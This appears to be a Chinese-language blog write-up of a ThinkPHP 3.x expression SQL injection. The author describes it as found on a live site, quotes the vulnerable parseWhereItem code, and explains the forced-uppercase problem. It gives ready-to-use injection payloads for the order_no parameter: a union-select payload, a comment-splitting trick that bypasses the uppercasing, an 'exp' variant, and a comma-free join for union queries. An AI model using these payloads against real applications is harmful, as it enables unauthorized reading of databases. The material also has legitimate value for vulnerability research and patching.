ThinkPHP 3.x 表达式注入绕过强制大写
ThinkPHP 3.x 表达式注入绕过强制大写
最近遇到一个thinkphp3的站,他用的tp版本比较低,正好存在很久以前的表达式注入
https://wystatic.tuisec.win/static/bugs/wooyun-2014-087731.html
但是通过分析注入发现,他会把表达式的内容进行了大写,所以导致linux的mysql因为某些情况下表名会敏感大小写,所以导致不能读取表的内容,
这是一个支持联合查询的注入点,通过注入发现,他会把输入的内容全部转换成大写
下面看一下老版本的代码
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
...
}elseif('bind'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
}
...
return $whereStr;
}
通过上面的代码发现,正常的payload是这样的
order_no[]=in ('1') and 1=2 union select 1 from admin#&order_no[]=2
假设查询语句如下
select 1 from user where order_no=1
通过正常的payload去注入会变成如下内容
select 1 from user where table in (1) AND 1=2 UNION SELECT 1 FROM ADMIN#'2'
如果我们去查询一个正常的表名admin,会被强制转换成大写,这样如果是配置了大小写敏感或默认linux下mysql的配置就会出现表名不存在的错误
通过分析代码发现
然后通过这样的payload即可成功注入并绕过强制大写
order_no[0]=in (1)/*&order_no[1]=*/and 1=1 and (select 1 from admin limit 1)#
这样执行的sql语句就会变成
select 1 from user where table in (1)/* '*/and 1=1 and (select 1 from admin limit 1)#'
这样就不在表达式的参数里面去执行sql,绕过了强制大写。
其实理论上来说
elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
}
如果val[2]=='exp'就直接吧val[1]传递到sql语句中了,并没有经过parseValue的转义.
order_no[0]=in&order_no[1]=sqli&order_no[2]=exp
但是我遇到的环境测试不通过,可能是版本问题。
然后因为存在[,] 会因为是in所以会被implode,所以需要绕过逗号进行联合查询
union select * from ((select 1)A join (select 2)B join (select 3)C);